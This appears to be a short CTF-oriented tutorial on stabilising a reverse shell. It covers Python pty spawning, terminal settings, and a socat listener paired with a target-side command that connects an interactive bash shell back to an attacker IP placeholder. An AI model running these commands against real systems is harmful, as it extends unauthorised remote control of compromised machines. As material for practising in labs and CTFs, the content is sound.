So now you have your rev shell, but now what? Are you looking at a low-quality shell with no tab to complete or all the fun features you have come to enjoy? You will need a stable shell if you want to be able to use certain commands like su and sudo. The good news is that, for the most part, it is really easy to get going.
If you have Python or Python3 installed, then a few lines and you are set
Drop this command in your terminal.
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
After that, paste this in your terminal.
export TERM=xterm export SHELL=/bin/bash
Press both CRTL + Z, which will place your current session in the background
Paste the next line in your local terminal. Press enter a couple of times and you will be back in your session with a complete shell
stty raw -echo; fg
Another method would be to use socat, although I don’t run into a lot of CTF’s that have it installed.
# Attacker: listen and spawn PTY
socat file:`tty`,raw,echo=0 tcp-listen:5555
# Target: connect back
socat exec:'bash -li',pty tcp:<ATTACKER_IP>:5555